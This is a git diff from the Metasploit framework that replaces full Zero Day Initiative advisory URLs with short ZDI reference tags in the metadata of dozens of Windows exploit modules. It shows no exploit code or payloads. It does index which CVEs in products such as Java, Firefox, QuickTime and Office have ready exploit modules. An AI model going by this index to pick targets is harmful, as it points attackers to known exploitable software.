a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb index eea94c96e0..fdfcdb429f 100644 --- a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb +++ b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2007-2139'], [ 'OSVDB', '35326' ], [ 'BID', '23635'], - [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-07-022.html'], + [ 'ZDI', '07-022'], ], 'Privileged' => true, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index 7da28d7754..2190b3c32b 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-2140' ], [ 'OSVDB', '74439'], [ 'BID', '49083' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-276/' ], + [ 'ZDI', '11-276' ], [ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ], [ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ], diff --git a/modules/exploits/windows/browser/adobe_geticon.rb b/modules/exploits/windows/browser/adobe_geticon.rb index 91042da600..4bad3a7ac0 100644 --- a/modules/exploits/windows/browser/adobe_geticon.rb +++ b/modules/exploits/windows/browser/adobe_geticon.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2009-0927' ], [ 'OSVDB', '53647' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-014/' ], + [ 'ZDI', '09-014' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html'] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/aol_icq_downloadagent.rb b/modules/exploits/windows/browser/aol_icq_downloadagent.rb index 5650bc085d..48d46a68f5 100644 --- a/modules/exploits/windows/browser/aol_icq_downloadagent.rb +++ b/modules/exploits/windows/browser/aol_icq_downloadagent.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2006-5650' ], [ 'OSVDB', '30220' ], [ 'BID', '20930' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-037/' ], + [ 'ZDI', '06-037' ], ], 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index edf152ff43..ebd3b3c1d1 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -35,7 +35,7 @@ class Metasploit4 < Msf::Exploit::Remote [ 'OSVDB', '93625' ], [ 'BID', '60097' ], [ 'URL', 'http://support.apple.com/kb/HT5770' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-110/' ] + [ 'ZDI', '13-110' ] ], 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index aa03fda74a..3b49ab6ab1 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-0708' ], [ 'BID', '53170' ], [ 'OSVDB', '81443'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-113/' ], + [ 'ZDI', '12-113' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/07/11/it-isnt-always-about-buffer-overflow' ] ], diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index 382c297413..5407524081 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '85152' ], [ 'BID', '55272' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-170/' ] + [ 'ZDI', '12-170' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index 40b6c14561..6420f2d048 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-4786' ], [ 'OSVDB', '78306' ], [ 'BID', '51396' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-013/' ], + [ 'ZDI', '12-013' ], ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb index fc6ad51136..60fa1b8b0c 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-2404'], [ 'OSVDB', '74510'], [ 'BID', '49100'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-261/' ], + [ 'ZDI', '11-261' ], ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index ac24364de1..a82acbf1a0 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-2370' ], [ 'OSVDB', '95640' ], [ 'BID', '61441'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-182/' ], + [ 'ZDI', '13-182' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ] ], 'Payload' => diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index 290061cc28..23c4734564 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-4798' ], [ 'OSVDB', '95642' ], [ 'BID', '61443'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ], + [ 'ZDI', '13-207' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ] ], 'Payload' => diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index 1e39e385d4..e41190029f 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '92845' ], [ 'BID', '59559' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-100/' ] + [ 'ZDI', '13-100' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb index 7a7349fe3b..879286ef03 100644 --- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-0198' ], [ 'OSVDB', '79735' ], [ 'BID', '52252' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ] + [ 'ZDI', '12-040' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index cbbd6e8ce7..6c6da0c5d5 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-0340' ], [ 'OSVDB', '72865' ], [ 'BID', '47596' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ], + [ 'ZDI', '12-168' ], [ 'URL', 'http://secunia.com/secunia_research/2011-37/' ] ], 'Payload' => diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index 66a0b54c81..2e2ccbed74 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-2175'], [ 'OSVDB', '82755' ], [ 'BID', '53879' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-132/' ], + [ 'ZDI', '12-132' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ] ], 'Payload' => diff --git a/modules/exploits/windows/browser/java_codebase_trust.rb b/modules/exploits/windows/browser/java_codebase_trust.rb index 271771caa6..190c67b307 100644 --- a/modules/exploits/windows/browser/java_codebase_trust.rb +++ b/modules/exploits/windows/browser/java_codebase_trust.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2010-4452' ], [ 'OSVDB', '71193' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-084/' ], + [ 'ZDI', '11-084' ], [ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ] ], diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb index 2bedc7c58b..51e24327bf 100644 --- a/modules/exploits/windows/browser/java_docbase_bof.rb +++ b/modules/exploits/windows/browser/java_docbase_bof.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '68873' ], [ 'BID', '44023' ], [ 'URL', 'http://blog.harmonysecurity.com/2010/10/oracle-java-ie-browser-plugin-stack.html' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-206/' ], + [ 'ZDI', '10-206' ], [ 'URL', 'http://code.google.com/p/skylined/issues/detail?id=23' ], [ 'URL', 'http://skypher.com/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2010-176258.html' ], diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb index 0fce7dfa69..4adf8e04eb 100644 --- a/modules/exploits/windows/browser/java_mixer_sequencer.rb +++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-0842' ], [ 'OSVDB', '63493'], [ 'BID', '39077'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ], + [ 'ZDI', '10-060' ], [ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/'] ], 'Payload' => diff --git a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb index 94add0548d..ed1a34a6c0 100644 --- a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb +++ b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-2516' ], [ 'OSVDB', '83311' ], [ 'BID', '55265' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-169/' ], + [ 'ZDI', '12-169' ], [ 'URL', 'http://support.ge-ip.com/support/index?page=kbchannel&id=S:KB14863' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb index b47195eba5..87a0689323 100644 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2011-3659' ], [ 'OSVDB', '78736' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'], #ZDI-CAN-1413 + [ 'ZDI', '12-110'], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb index c88ccf30e3..9925504034 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-0753' ], [ 'OSVDB', '89021'], [ 'BID', '57209'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ], + [ 'ZDI', '13-006' ], [ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ] ], diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index f0e4b4fd1f..f866e2d890 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2011-3658' ], [ 'OSVDB', '77953'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-056/' ], + [ 'ZDI', '12-056' ], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index b5f4f95362..d239ef9219 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2011-0073'], ['OSVDB', '72087'], ['BID', '47663'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-157/'], + ['ZDI', '11-157'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'], ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index 45b32ecd8b..672a16a447 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-0248' ], [ 'OSVDB', '61914'], [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-014/'] + [ 'ZDI', '10-014'] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb index ae26aa507b..542c26b8fa 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-0805' ], [ 'OSVDB', '63329' ], [ 'BID', '39025' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-034' ], + [ 'ZDI', '10-034' ], [ 'MSB', 'MS10-018' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index 82857ac519..3dc110190f 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -52,8 +52,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '96182' ], [ 'MSB', 'MS13-059' ], [ 'BID', '61668' ], - [ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-194/' ], - [ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-195/' ] + [ 'ZDI', '13-194' ], + [ 'ZDI', '13-195' ] ], 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index 444bad2fa9..b0263f9b80 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-3205' ], [ 'OSVDB', '97094' ], [ 'MSB', 'MS13-069' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-217/' ] + [ 'ZDI', '13-217' ] ], 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb index e6f63b3e92..a32c3f9348 100644 --- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb +++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-2174' ], [ 'OSVDB', '83063' ], [ 'BID', '54070' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-154/' ], + [ 'ZDI', '12-154' ], [ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ] ], diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index fee5f1360f..bc6447b81e 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-0439' ], [ 'OSVDB', '89700' ], [ 'BID' , '57658' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ], + [ 'ZDI', '13-008' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ] ], 'Payload' => diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb index 529145c0ce..349e7f096d 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-4321' ], [ 'BID', '44966' ], [ 'OSVDB', '69357' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-256/' ], + [ 'ZDI', '10-256' ], [ 'EDB', '16014' ], [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7007234' ], ], diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb index cbf8c25044..b1618c0aaf 100644 --- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb +++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '92386' ], [ 'BID', '59122' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2013-1899555.html' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-094/' ] + [ 'ZDI', '13-094' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index 74fac4bedb..0ff011e220 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-2176' ], [ 'OSVDB', '82166' ], [ 'BID', '53678'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-134/' ], + [ 'ZDI', '12-134' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21596191' ] ], 'Payload' => diff --git a/modules/exploits/windows/browser/realplayer_cdda_uri.rb b/modules/exploits/windows/browser/realplayer_cdda_uri.rb index 2300e44ad9..bc3ef3d322 100644 --- a/modules/exploits/windows/browser/realplayer_cdda_uri.rb +++ b/modules/exploits/windows/browser/realplayer_cdda_uri.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-3747' ], [ 'OSVDB', '68673'], [ 'BID', '44144' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-210/'], + [ 'ZDI', '10-210'], [ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/'] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index ada8678d56..13c040f298 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '74549'], ['BID', '49172'], # ZDI advisory - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'], + ['ZDI', '11-265'], # Vendor advisory ['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'], #Fix commit diff --git a/modules/exploits/windows/browser/trendmicro_extsetowner.rb b/modules/exploits/windows/browser/trendmicro_extsetowner.rb index 111be503f7..a9ce3d94d8 100644 --- a/modules/exploits/windows/browser/trendmicro_extsetowner.rb +++ b/modules/exploits/windows/browser/trendmicro_extsetowner.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2010-3189' ], [ 'OSVDB', '67561'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-165/' ], # Andrea Micalizzi aka rgod via Zero Day Initiative + [ 'ZDI', '10-165' ], # Andrea Micalizzi aka rgod via Zero Day Initiative [ 'EDB', '14878' ], # MOAUB #03 ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index d418ac78e4..4b4acb6a71 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-2657' ], [ 'OSVDB', '76700'], [ 'BID', '50274' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-318/' ], + [ 'ZDI', '11-318' ], [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7009570&sliceId=1' ], ], 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_geticon.rb b/modules/exploits/windows/fileformat/adobe_geticon.rb index 19d19c24f1..fd0926f7be 100644 --- a/modules/exploits/windows/fileformat/adobe_geticon.rb +++ b/modules/exploits/windows/fileformat/adobe_geticon.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2009-0927' ], [ 'OSVDB', '53647' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-014/' ], + [ 'ZDI', '09-014' ], ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb index b64fc7b839..19ccc32179 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb @@ -37,7 +37,7 @@ class Metasploit4 < Msf::Exploit::Remote [ 'OSVDB', '93625' ], [ 'BID', '60097' ], [ 'URL', 'http://support.apple.com/kb/HT5770' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-110/' ] + [ 'ZDI', '13-110' ] ], 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb index 0f436e2ada..8459e51f16 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '81934' ], [ 'CVE', '2012-0663' ], [ 'BID', '53571' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-107/' ], + [ 'ZDI', '12-107' ], [ 'URL', 'http://0x1byte.blogspot.com/2012/06/cve-2012-0663-and-cve-2012-0664-samples.html' ], [ 'URL', 'http://support.apple.com/kb/HT1222' ] ], diff --git a/modules/exploits/windows/fileformat/ca_cab.rb b/modules/exploits/windows/fileformat/ca_cab.rb index 5df2381380..dfa941cf3b 100644 --- a/modules/exploits/windows/fileformat/ca_cab.rb +++ b/modules/exploits/windows/fileformat/ca_cab.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2007-2864' ], [ 'OSVDB', '35245'], [ 'BID', '24330' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-035.html' ], + [ 'ZDI', '07-035' ], ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb index 3062a405b3..085f137f33 100644 --- a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb +++ b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '78310'], ['BID', '51397'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'], + ['ZDI', '12-012'], ], 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb index f6cdcdd69b..3c127dd824 100644 --- a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb +++ b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '59860' ], [ 'MSB', 'MS09-067' ], [ 'BID', '36945' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-083/' ], + [ 'ZDI', '09-083' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=832' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb index 36da85d5c2..ccdd086f99 100644 --- a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb +++ b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-0033' ], [ 'OSVDB', '62241' ], [ 'MSB', 'MS10-004' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-017/' ], + [ 'ZDI', '10-017' ], [ 'URL', 'http://www.snoop-security.com/blog/index.php/2010/03/exploiting-ms10-004-ppt-viewer/' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb index 900857e9ac..00ac788372 100644 --- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb +++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2011-0105'], ['OSVDB', '71765'], ['MSB', 'MS11-021'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-121/'], + ['ZDI', '11-121'], ['URL', 